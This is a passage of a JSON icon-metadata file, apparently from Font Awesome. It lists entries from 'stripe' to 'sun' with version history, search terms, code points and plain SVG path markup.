        "path": "M161.3 144c3.2-17.2 14-30.1 33.7-38.6c21.1-9 51.8-12.3 88.6-6.5c11.9 1.9 48.8 9.1 60.1 12c17.1 4.5 34.6-5.6 39.2-22.7s-5.6-34.6-22.7-39.2c-14.3-3.8-53.6-11.4-66.6-13.4c-44.7-7-88.3-4.2-123.7 10.9c-36.5 15.6-64.4 44.8-71.8 87.3c-.1 .6-.2 1.1-.2 1.7c-2.8 23.9 .5 45.6 10.1 64.6c4.5 9 10.2 16.9 16.7 23.9H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H480c17.7 0 32-14.3 32-32s-14.3-32-32-32H270.1c-.1 0-.3-.1-.4-.1l-1.1-.3c-36-10.8-65.2-19.6-85.2-33.1c-9.3-6.3-15-12.6-18.2-19.1c-3.1-6.1-5.2-14.6-3.8-27.4zM348.9 337.2c2.7 6.5 4.4 15.8 1.9 30.1c-3 17.6-13.8 30.8-33.9 39.4c-21.1 9-51.7 12.3-88.5 6.5c-18-2.9-49.1-13.5-74.4-22.1c-5.6-1.9-11-3.7-15.9-5.4c-16.8-5.6-34.9 3.5-40.5 20.3s3.5 34.9 20.3 40.5c3.6 1.2 7.9 2.7 12.7 4.3l0 0 0 0c24.9 8.5 63.6 21.7 87.6 25.6l0 0 .2 0c44.7 7 88.3 4.2 123.7-10.9c36.5-15.6 64.4-44.8 71.8-87.3c3.6-21 2.7-40.4-3.1-58.1H335.1c7 5.6 11.4 11.2 13.9 17.2z"
      }
    },
    "free": ["solid"]
  },
  "stripe": {
    "changes": ["5.0.0", "5.0.3"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f429",
    "label": "Stripe",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014472,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M165 144.7l-43.3 9.2-.2 142.4c0 26.3 19.8 43.3 46.1 43.3 14.6 0 25.3-2.7 31.2-5.9v-33.8c-5.7 2.3-33.7 10.5-33.7-15.7V221h33.7v-37.8h-33.7zm89.1 51.6l-2.7-13.1H213v153.2h44.3V233.3c10.5-13.8 28.2-11.1 33.9-9.3v-40.8c-6-2.1-26.7-6-37.1 13.1zm92.3-72.3l-44.6 9.5v36.2l44.6-9.5zM44.9 228.3c0-6.9 5.8-9.6 15.1-9.7 13.5 0 30.7 4.1 44.2 11.4v-41.8c-14.7-5.8-29.4-8.1-44.1-8.1-36 0-60 18.8-60 50.2 0 49.2 67.5 41.2 67.5 62.4 0 8.2-7.1 10.9-17 10.9-14.7 0-33.7-6.1-48.6-14.2v40c16.5 7.1 33.2 10.1 48.5 10.1 36.9 0 62.3-15.8 62.3-47.8 0-52.9-67.9-43.4-67.9-63.4zM640 261.6c0-45.5-22-81.4-64.2-81.4s-67.9 35.9-67.9 81.1c0 53.5 30.3 78.2 73.5 78.2 21.2 0 37.1-4.8 49.2-11.5v-33.4c-12.1 6.1-26 9.8-43.6 9.8-17.3 0-32.5-6.1-34.5-26.9h86.9c.2-2.3.6-11.6.6-15.9zm-87.9-16.8c0-20 12.3-28.4 23.4-28.4 10.9 0 22.5 8.4 22.5 28.4zm-112.9-64.6c-17.4 0-28.6 8.2-34.8 13.9l-2.3-11H363v204.8l44.4-9.4.1-50.2c6.4 4.7 15.9 11.2 31.4 11.2 31.8 0 60.8-23.2 60.8-79.6.1-51.6-29.3-79.7-60.5-79.7zm-10.6 122.5c-10.4 0-16.6-3.8-20.9-8.4l-.3-66c4.6-5.1 11-8.8 21.2-8.8 16.2 0 27.4 18.2 27.4 41.4.1 23.9-10.9 41.8-27.4 41.8zm-126.7 33.7h44.6V183.2h-44.6z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M165 144.7l-43.3 9.2-.2 142.4c0 26.3 19.8 43.3 46.1 43.3 14.6 0 25.3-2.7 31.2-5.9v-33.8c-5.7 2.3-33.7 10.5-33.7-15.7V221h33.7v-37.8h-33.7zm89.1 51.6l-2.7-13.1H213v153.2h44.3V233.3c10.5-13.8 28.2-11.1 33.9-9.3v-40.8c-6-2.1-26.7-6-37.1 13.1zm92.3-72.3l-44.6 9.5v36.2l44.6-9.5zM44.9 228.3c0-6.9 5.8-9.6 15.1-9.7 13.5 0 30.7 4.1 44.2 11.4v-41.8c-14.7-5.8-29.4-8.1-44.1-8.1-36 0-60 18.8-60 50.2 0 49.2 67.5 41.2 67.5 62.4 0 8.2-7.1 10.9-17 10.9-14.7 0-33.7-6.1-48.6-14.2v40c16.5 7.1 33.2 10.1 48.5 10.1 36.9 0 62.3-15.8 62.3-47.8 0-52.9-67.9-43.4-67.9-63.4zM640 261.6c0-45.5-22-81.4-64.2-81.4s-67.9 35.9-67.9 81.1c0 53.5 30.3 78.2 73.5 78.2 21.2 0 37.1-4.8 49.2-11.5v-33.4c-12.1 6.1-26 9.8-43.6 9.8-17.3 0-32.5-6.1-34.5-26.9h86.9c.2-2.3.6-11.6.6-15.9zm-87.9-16.8c0-20 12.3-28.4 23.4-28.4 10.9 0 22.5 8.4 22.5 28.4zm-112.9-64.6c-17.4 0-28.6 8.2-34.8 13.9l-2.3-11H363v204.8l44.4-9.4.1-50.2c6.4 4.7 15.9 11.2 31.4 11.2 31.8 0 60.8-23.2 60.8-79.6.1-51.6-29.3-79.7-60.5-79.7zm-10.6 122.5c-10.4 0-16.6-3.8-20.9-8.4l-.3-66c4.6-5.1 11-8.8 21.2-8.8 16.2 0 27.4 18.2 27.4 41.4.1 23.9-10.9 41.8-27.4 41.8zm-126.7 33.7h44.6V183.2h-44.6z"
      }
    },
    "free": ["brands"]
  },
  "stripe-s": {
    "changes": ["5.0.1", "5.8.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f42a",
    "label": "Stripe S",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M155.3 154.6c0-22.3 18.6-30.9 48.4-30.9 43.4 0 98.5 13.3 141.9 36.7V26.1C298.3 7.2 251.1 0 203.8 0 88.1 0 11 60.4 11 161.4c0 157.9 216.8 132.3 216.8 200.4 0 26.4-22.9 34.9-54.7 34.9-47.2 0-108.2-19.5-156.1-45.5v128.5a396.09 396.09 0 0 0 156 32.4c118.6 0 200.3-51 200.3-153.6 0-170.2-218-139.7-218-203.9z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M155.3 154.6c0-22.3 18.6-30.9 48.4-30.9 43.4 0 98.5 13.3 141.9 36.7V26.1C298.3 7.2 251.1 0 203.8 0 88.1 0 11 60.4 11 161.4c0 157.9 216.8 132.3 216.8 200.4 0 26.4-22.9 34.9-54.7 34.9-47.2 0-108.2-19.5-156.1-45.5v128.5a396.09 396.09 0 0 0 156 32.4c118.6 0 200.3-51 200.3-153.6 0-170.2-218-139.7-218-203.9z"
      }
    },
    "free": ["brands"]
  },
  "stroopwafel": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f551"]
      }
    },
    "changes": ["5.0.13", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["caramel", "cookie", "dessert", "sweets", "waffle"]
    },
    "styles": ["solid"],
    "unicode": "f551",
    "label": "Stroopwafel",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767420,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zM312.6 63.7c-6.2-6.2-16.4-6.2-22.6 0L256 97.6 222.1 63.7c-6.2-6.2-16.4-6.2-22.6 0s-6.2 16.4 0 22.6l33.9 33.9-45.3 45.3-56.6-56.6c-6.2-6.2-16.4-6.2-22.6 0s-6.2 16.4 0 22.6l56.6 56.6-45.3 45.3L86.3 199.4c-6.2-6.2-16.4-6.2-22.6 0s-6.2 16.4 0 22.6L97.6 256 63.7 289.9c-6.2 6.2-6.2 16.4 0 22.6s16.4 6.2 22.6 0l33.9-33.9 45.3 45.3-56.6 56.6c-6.2 6.2-6.2 16.4 0 22.6s16.4 6.2 22.6 0l56.6-56.6 45.3 45.3-33.9 33.9c-6.2 6.2-6.2 16.4 0 22.6s16.4 6.2 22.6 0L256 414.4l33.9 33.9c6.2 6.2 16.4 6.2 22.6 0s6.2-16.4 0-22.6l-33.9-33.9 45.3-45.3 56.6 56.6c6.2 6.2 16.4 6.2 22.6 0s6.2-16.4 0-22.6l-56.6-56.6 45.3-45.3 33.9 33.9c6.2 6.2 16.4 6.2 22.6 0s6.2-16.4 0-22.6L414.4 256l33.9-33.9c6.2-6.2 6.2-16.4 0-22.6s-16.4-6.2-22.6 0l-33.9 33.9-45.3-45.3 56.6-56.6c6.2-6.2 6.2-16.4 0-22.6s-16.4-6.2-22.6 0l-56.6 56.6-45.3-45.3 33.9-33.9c6.2-6.2 6.2-16.4 0-22.6zM142.9 256l45.3-45.3L233.4 256l-45.3 45.3L142.9 256zm67.9 67.9L256 278.6l45.3 45.3L256 369.1l-45.3-45.3zM278.6 256l45.3-45.3L369.1 256l-45.3 45.3L278.6 256zm22.6-67.9L256 233.4l-45.3-45.3L256 142.9l45.3 45.3z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zM312.6 63.7c-6.2-6.2-16.4-6.2-22.6 0L256 97.6 222.1 63.7c-6.2-6.2-16.4-6.2-22.6 0s-6.2 16.4 0 22.6l33.9 33.9-45.3 45.3-56.6-56.6c-6.2-6.2-16.4-6.2-22.6 0s-6.2 16.4 0 22.6l56.6 56.6-45.3 45.3L86.3 199.4c-6.2-6.2-16.4-6.2-22.6 0s-6.2 16.4 0 22.6L97.6 256 63.7 289.9c-6.2 6.2-6.2 16.4 0 22.6s16.4 6.2 22.6 0l33.9-33.9 45.3 45.3-56.6 56.6c-6.2 6.2-6.2 16.4 0 22.6s16.4 6.2 22.6 0l56.6-56.6 45.3 45.3-33.9 33.9c-6.2 6.2-6.2 16.4 0 22.6s16.4 6.2 22.6 0L256 414.4l33.9 33.9c6.2 6.2 16.4 6.2 22.6 0s6.2-16.4 0-22.6l-33.9-33.9 45.3-45.3 56.6 56.6c6.2 6.2 16.4 6.2 22.6 0s6.2-16.4 0-22.6l-56.6-56.6 45.3-45.3 33.9 33.9c6.2 6.2 16.4 6.2 22.6 0s6.2-16.4 0-22.6L414.4 256l33.9-33.9c6.2-6.2 6.2-16.4 0-22.6s-16.4-6.2-22.6 0l-33.9 33.9-45.3-45.3 56.6-56.6c6.2-6.2 6.2-16.4 0-22.6s-16.4-6.2-22.6 0l-56.6 56.6-45.3-45.3 33.9-33.9c6.2-6.2 6.2-16.4 0-22.6zM142.9 256l45.3-45.3L233.4 256l-45.3 45.3L142.9 256zm67.9 67.9L256 278.6l45.3 45.3L256 369.1l-45.3-45.3zM278.6 256l45.3-45.3L369.1 256l-45.3 45.3L278.6 256zm22.6-67.9L256 233.4l-45.3-45.3L256 142.9l45.3 45.3z"
      }
    },
    "free": ["solid"]
  },
  "stubber": {
    "changes": ["6.2.1", "6.3.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "e5c7",
    "label": "Stubber",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1667828915,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M136.5 294.2l58.8 22.9c9.1-36.8 25.4-61.1 55-61.1c49.4 0 71.4 63.6 142.4 63.6c15.6 0 35.9-2.8 55.3-13.3V368c0 61.8-50.4 112-112.3 112H0l41.8-56L0 368l41.7-56L0 256.1l41.8-56L0 144.1 41.8 88 0 32H335.7C397.6 32 448 82.3 448 144.1v51.3c-9.2 36.3-25.9 60.6-55 60.6c-49.6 0-71.6-63.5-142.4-63.5c-35.9 0-95.2 14.6-114.1 101.6h0z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M136.5 294.2l58.8 22.9c9.1-36.8 25.4-61.1 55-61.1c49.4 0 71.4 63.6 142.4 63.6c15.6 0 35.9-2.8 55.3-13.3V368c0 61.8-50.4 112-112.3 112H0l41.8-56L0 368l41.7-56L0 256.1l41.8-56L0 144.1 41.8 88 0 32H335.7C397.6 32 448 82.3 448 144.1v51.3c-9.2 36.3-25.9 60.6-55 60.6c-49.6 0-71.6-63.5-142.4-63.5c-35.9 0-95.2 14.6-114.1 101.6h0z"
      }
    },
    "free": ["brands"]
  },
  "studiovinari": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3f8",
    "label": "Studio Vinari",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014473,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M480.3 187.7l4.2 28v28l-25.1 44.1-39.8 78.4-56.1 67.5-79.1 37.8-17.7 24.5-7.7 12-9.6 4s17.3-63.6 19.4-63.6c2.1 0 20.3.7 20.3.7l66.7-38.6-92.5 26.1-55.9 36.8-22.8 28-6.6 1.4 20.8-73.6 6.9-5.5 20.7 12.9 88.3-45.2 56.8-51.5 14.8-68.4-125.4 23.3 15.2-18.2-173.4-53.3 81.9-10.5-166-122.9L133.5 108 32.2 0l252.9 126.6-31.5-38L378 163 234.7 64l18.7 38.4-49.6-18.1L158.3 0l194.6 122L310 66.2l108 96.4 12-8.9-21-16.4 4.2-37.8L451 89.1l29.2 24.7 11.5 4.2-7 6.2 8.5 12-13.1 7.4-10.3 20.2 10.5 23.9z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M480.3 187.7l4.2 28v28l-25.1 44.1-39.8 78.4-56.1 67.5-79.1 37.8-17.7 24.5-7.7 12-9.6 4s17.3-63.6 19.4-63.6c2.1 0 20.3.7 20.3.7l66.7-38.6-92.5 26.1-55.9 36.8-22.8 28-6.6 1.4 20.8-73.6 6.9-5.5 20.7 12.9 88.3-45.2 56.8-51.5 14.8-68.4-125.4 23.3 15.2-18.2-173.4-53.3 81.9-10.5-166-122.9L133.5 108 32.2 0l252.9 126.6-31.5-38L378 163 234.7 64l18.7 38.4-49.6-18.1L158.3 0l194.6 122L310 66.2l108 96.4 12-8.9-21-16.4 4.2-37.8L451 89.1l29.2 24.7 11.5 4.2-7 6.2 8.5 12-13.1 7.4-10.3 20.2 10.5 23.9z"
      }
    },
    "free": ["brands"]
  },
  "stumbleupon": {
    "changes": ["4.1.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f1a4",
    "label": "StumbleUpon Logo",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014473,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M502.9 266v69.7c0 62.1-50.3 112.4-112.4 112.4-61.8 0-112.4-49.8-112.4-111.3v-70.2l34.3 16 51.1-15.2V338c0 14.7 12 26.5 26.7 26.5S417 352.7 417 338v-72h85.9zm-224.7-58.2l34.3 16 51.1-15.2V173c0-60.5-51.1-109-112.1-109-60.8 0-112.1 48.2-112.1 108.2v162.4c0 14.9-12 26.7-26.7 26.7S86 349.5 86 334.6V266H0v69.7C0 397.7 50.3 448 112.4 448c61.6 0 112.4-49.5 112.4-110.8V176.9c0-14.7 12-26.7 26.7-26.7s26.7 12 26.7 26.7v30.9z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M502.9 266v69.7c0 62.1-50.3 112.4-112.4 112.4-61.8 0-112.4-49.8-112.4-111.3v-70.2l34.3 16 51.1-15.2V338c0 14.7 12 26.5 26.7 26.5S417 352.7 417 338v-72h85.9zm-224.7-58.2l34.3 16 51.1-15.2V173c0-60.5-51.1-109-112.1-109-60.8 0-112.1 48.2-112.1 108.2v162.4c0 14.9-12 26.7-26.7 26.7S86 349.5 86 334.6V266H0v69.7C0 397.7 50.3 448 112.4 448c61.6 0 112.4-49.5 112.4-110.8V176.9c0-14.7 12-26.7 26.7-26.7s26.7 12 26.7 26.7v30.9z"
      }
    },
    "free": ["brands"]
  },
  "stumbleupon-circle": {
    "changes": ["4.1.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f1a3",
    "label": "StumbleUpon Circle",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014460,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm0 177.5c-9.8 0-17.8 8-17.8 17.8v106.9c0 40.9-33.9 73.9-74.9 73.9-41.4 0-74.9-33.5-74.9-74.9v-46.5h57.3v45.8c0 10 8 17.8 17.8 17.8s17.8-7.9 17.8-17.8V200.1c0-40 34.2-72.1 74.7-72.1 40.7 0 74.7 32.3 74.7 72.6v23.7l-34.1 10.1-22.9-10.7v-20.6c.1-9.6-7.9-17.6-17.7-17.6zm167.6 123.6c0 41.4-33.5 74.9-74.9 74.9-41.2 0-74.9-33.2-74.9-74.2V263l22.9 10.7 34.1-10.1v47.1c0 9.8 8 17.6 17.8 17.6s17.8-7.9 17.8-17.6v-48h57.3c-.1 45.9-.1 46.4-.1 46.4z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
        "path": "M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm0 177.5c-9.8 0-17.8 8-17.8 17.8v106.9c0 40.9-33.9 73.9-74.9 73.9-41.4 0-74.9-33.5-74.9-74.9v-46.5h57.3v45.8c0 10 8 17.8 17.8 17.8s17.8-7.9 17.8-17.8V200.1c0-40 34.2-72.1 74.7-72.1 40.7 0 74.7 32.3 74.7 72.6v23.7l-34.1 10.1-22.9-10.7v-20.6c.1-9.6-7.9-17.6-17.7-17.6zm167.6 123.6c0 41.4-33.5 74.9-74.9 74.9-41.2 0-74.9-33.2-74.9-74.2V263l22.9 10.7 34.1-10.1v47.1c0 9.8 8 17.6 17.8 17.6s17.8-7.9 17.8-17.6v-48h57.3c-.1 45.9-.1 46.4-.1 46.4z"
      }
    },
    "free": ["brands"]
  },
  "subscript": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f12c"]
      }
    },
    "changes": [
      "3.1.0",
      "5.0.0",
      "5.9.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["edit", "font", "format", "text", "type"]
    },
    "styles": ["solid"],
    "unicode": "f12c",
    "label": "Subscript",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767246,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M32 64C14.3 64 0 78.3 0 96s14.3 32 32 32H47.3l89.6 128L47.3 384H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H64c10.4 0 20.2-5.1 26.2-13.6L176 311.8l85.8 122.6c6 8.6 15.8 13.6 26.2 13.6h32c17.7 0 32-14.3 32-32s-14.3-32-32-32H304.7L215.1 256l89.6-128H320c17.7 0 32-14.3 32-32s-14.3-32-32-32H288c-10.4 0-20.2 5.1-26.2 13.6L176 200.2 90.2 77.6C84.2 69.1 74.4 64 64 64H32zM480 320c0-11.1-5.7-21.4-15.2-27.2s-21.2-6.4-31.1-1.4l-32 16c-15.8 7.9-22.2 27.1-14.3 42.9C393 361.5 404.3 368 416 368v80c-17.7 0-32 14.3-32 32s14.3 32 32 32h32 32c17.7 0 32-14.3 32-32s-14.3-32-32-32V320z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M32 64C14.3 64 0 78.3 0 96s14.3 32 32 32H47.3l89.6 128L47.3 384H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H64c10.4 0 20.2-5.1 26.2-13.6L176 311.8l85.8 122.6c6 8.6 15.8 13.6 26.2 13.6h32c17.7 0 32-14.3 32-32s-14.3-32-32-32H304.7L215.1 256l89.6-128H320c17.7 0 32-14.3 32-32s-14.3-32-32-32H288c-10.4 0-20.2 5.1-26.2 13.6L176 200.2 90.2 77.6C84.2 69.1 74.4 64 64 64H32zM480 320c0-11.1-5.7-21.4-15.2-27.2s-21.2-6.4-31.1-1.4l-32 16c-15.8 7.9-22.2 27.1-14.3 42.9C393 361.5 404.3 368 416 368v80c-17.7 0-32 14.3-32 32s14.3 32 32 32h32 32c17.7 0 32-14.3 32-32s-14.3-32-32-32V320z"
      }
    },
    "free": ["solid"]
  },
  "suitcase": {
    "aliases": {
      "unicodes": {
        "composite": ["1f9f3"],
        "secondary": ["10f0f2"]
      }
    },
    "changes": [
      "3.0.0",
      "5.0.0",
      "5.0.9",
      "6.0.0-beta1",
      "6.1.2",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "baggage",
        "luggage",
        "move",
        "packing",
        "suitcase",
        "travel",
        "trip"
      ]
    },
    "styles": ["solid"],
    "unicode": "f0f2",
    "label": "Suitcase",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767443,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M176 56V96H336V56c0-4.4-3.6-8-8-8H184c-4.4 0-8 3.6-8 8zM128 96V56c0-30.9 25.1-56 56-56H328c30.9 0 56 25.1 56 56V96v32V480H128V128 96zM64 96H96V480H64c-35.3 0-64-28.7-64-64V160c0-35.3 28.7-64 64-64zM448 480H416V96h32c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M176 56V96H336V56c0-4.4-3.6-8-8-8H184c-4.4 0-8 3.6-8 8zM128 96V56c0-30.9 25.1-56 56-56H328c30.9 0 56 25.1 56 56V96v32V480H128V128 96zM64 96H96V480H64c-35.3 0-64-28.7-64-64V160c0-35.3 28.7-64 64-64zM448 480H416V96h32c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64z"
      }
    },
    "free": ["solid"]
  },
  "suitcase-medical": {
    "aliases": {
      "names": ["medkit"],
      "unicodes": {
        "secondary": ["10f0fa"]
      }
    },
    "changes": ["3.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "first aid",
        "firstaid",
        "health",
        "help",
        "medical",
        "supply",
        "support"
      ]
    },
    "styles": ["solid"],
    "unicode": "f0fa",
    "label": "Suitcase Medical",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767442,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M184 48H328c4.4 0 8 3.6 8 8V96H176V56c0-4.4 3.6-8 8-8zm-56 8V96v32V480H384V128 96 56c0-30.9-25.1-56-56-56H184c-30.9 0-56 25.1-56 56zM96 96H64C28.7 96 0 124.7 0 160V416c0 35.3 28.7 64 64 64H96V96zM416 480h32c35.3 0 64-28.7 64-64V160c0-35.3-28.7-64-64-64H416V480zM224 208c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v48h48c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H288v48c0 8.8-7.2 16-16 16H240c-8.8 0-16-7.2-16-16V320H176c-8.8 0-16-7.2-16-16V272c0-8.8 7.2-16 16-16h48V208z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M184 48H328c4.4 0 8 3.6 8 8V96H176V56c0-4.4 3.6-8 8-8zm-56 8V96v32V480H384V128 96 56c0-30.9-25.1-56-56-56H184c-30.9 0-56 25.1-56 56zM96 96H64C28.7 96 0 124.7 0 160V416c0 35.3 28.7 64 64 64H96V96zM416 480h32c35.3 0 64-28.7 64-64V160c0-35.3-28.7-64-64-64H416V480zM224 208c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v48h48c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H288v48c0 8.8-7.2 16-16 16H240c-8.8 0-16-7.2-16-16V320H176c-8.8 0-16-7.2-16-16V272c0-8.8 7.2-16 16-16h48V208z"
      }
    },
    "free": ["solid"]
  },
  "suitcase-rolling": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f5c1"]
      }
    },
    "changes": ["5.1.0", "5.10.2", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["baggage", "luggage", "move", "suitcase", "travel", "trip"]
    },
    "styles": ["solid"],
    "unicode": "f5c1",
    "label": "Suitcase Rolling",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767441,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M144 56c0-4.4 3.6-8 8-8h80c4.4 0 8 3.6 8 8v72H144V56zm176 72H288V56c0-30.9-25.1-56-56-56H152C121.1 0 96 25.1 96 56v72H64c-35.3 0-64 28.7-64 64V416c0 35.3 28.7 64 64 64c0 17.7 14.3 32 32 32s32-14.3 32-32H256c0 17.7 14.3 32 32 32s32-14.3 32-32c35.3 0 64-28.7 64-64V192c0-35.3-28.7-64-64-64zM112 224H272c8.8 0 16 7.2 16 16s-7.2 16-16 16H112c-8.8 0-16-7.2-16-16s7.2-16 16-16zm0 128H272c8.8 0 16 7.2 16 16s-7.2 16-16 16H112c-8.8 0-16-7.2-16-16s7.2-16 16-16z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M144 56c0-4.4 3.6-8 8-8h80c4.4 0 8 3.6 8 8v72H144V56zm176 72H288V56c0-30.9-25.1-56-56-56H152C121.1 0 96 25.1 96 56v72H64c-35.3 0-64 28.7-64 64V416c0 35.3 28.7 64 64 64c0 17.7 14.3 32 32 32s32-14.3 32-32H256c0 17.7 14.3 32 32 32s32-14.3 32-32c35.3 0 64-28.7 64-64V192c0-35.3-28.7-64-64-64zM112 224H272c8.8 0 16 7.2 16 16s-7.2 16-16 16H112c-8.8 0-16-7.2-16-16s7.2-16 16-16zm0 128H272c8.8 0 16 7.2 16 16s-7.2 16-16 16H112c-8.8 0-16-7.2-16-16s7.2-16 16-16z"
      }
    },
    "free": ["solid"]
  },
  "sun": {
    "aliases": {
      "unicodes": {
        "composite": ["2600"],
        "secondary": ["10f185"]
      }
    },
    "changes": [
      "3.2.0",
      "5.0.0",
      "5.5.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "bright",
        "brighten",
        "contrast",
        "day",
        "lighter",
        "rays",
        "sol",
        "solar",
        "star",
        "sun",
        "sunny",
        "weather"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f185",
    "label": "Sun",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767661,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M361.5 1.2c5 2.1 8.6 6.6 9.6 11.9L391 121l107.9 19.8c5.3 1 9.8 4.6 11.9 9.6s1.5 10.7-1.6 15.2L446.9 256l62.3 90.3c3.1 4.5 3.7 10.2 1.6 15.2s-6.6 8.6-11.9 9.6L391 391 371.1 498.9c-1 5.3-4.6 9.8-9.6 11.9s-10.7 1.5-15.2-1.6L256 446.9l-90.3 62.3c-4.5 3.1-10.2 3.7-15.2 1.6s-8.6-6.6-9.6-11.9L121 391 13.1 371.1c-5.3-1-9.8-4.6-11.9-9.6s-1.5-10.7 1.6-15.2L65.1 256 2.8 165.7c-3.1-4.5-3.7-10.2-1.6-15.2s6.6-8.6 11.9-9.6L121 121 140.9 13.1c1-5.3 4.6-9.8 9.6-11.9s10.7-1.5 15.2 1.6L256 65.1 346.3 2.8c4.5-3.1 10.2-3.7 15.2-1.6zM160 256a96 96 0 1 1 192 0 96 96 0 1 1 -192 0zm224 0a128 128 0 1 0 -256 0 128 128 0 1 0 256 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M361.5 1.2c5 2.1 8.6 6.6 9.6 11.9L391 121l107.9 19.8c5.3 1 9.8 4.6 11.9 9.6s1.5 10.7-1.6 15.2L446.9 256l62.3 90.3c3.1 4.5 3.7 10.2 1.6 15.2s-6.6 8.6-11.9 9.6L391 391 371.1 498.9c-1 5.3-4.6 9.8-9.6 11.9s-10.7 1.5-15.2-1.6L256 446.9l-90.3 62.3c-4.5 3.1-10.2 3.7-15.2 1.6s-8.6-6.6-9.6-11.9L121 391 13.1 371.1c-5.3-1-9.8-4.6-11.9-9.6s-1.5-10.7 1.6-15.2L65.1 256 2.8 165.7c-3.1-4.5-3.7-10.2-1.6-15.2s6.6-8.6 11.9-9.6L121 121 140.9 13.1c1-5.3 4.6-9.8 9.6-11.9s10.7-1.5 15.2 1.6L256 65.1 346.3 2.8c4.5-3.1 10.2-3.7 15.2-1.6zM160 256a96 96 0 1 1 192 0 96 96 0 1 1 -192 0zm224 0a128 128 0 1 0 -256 0 128 128 0 1 0 256 0z"
      },
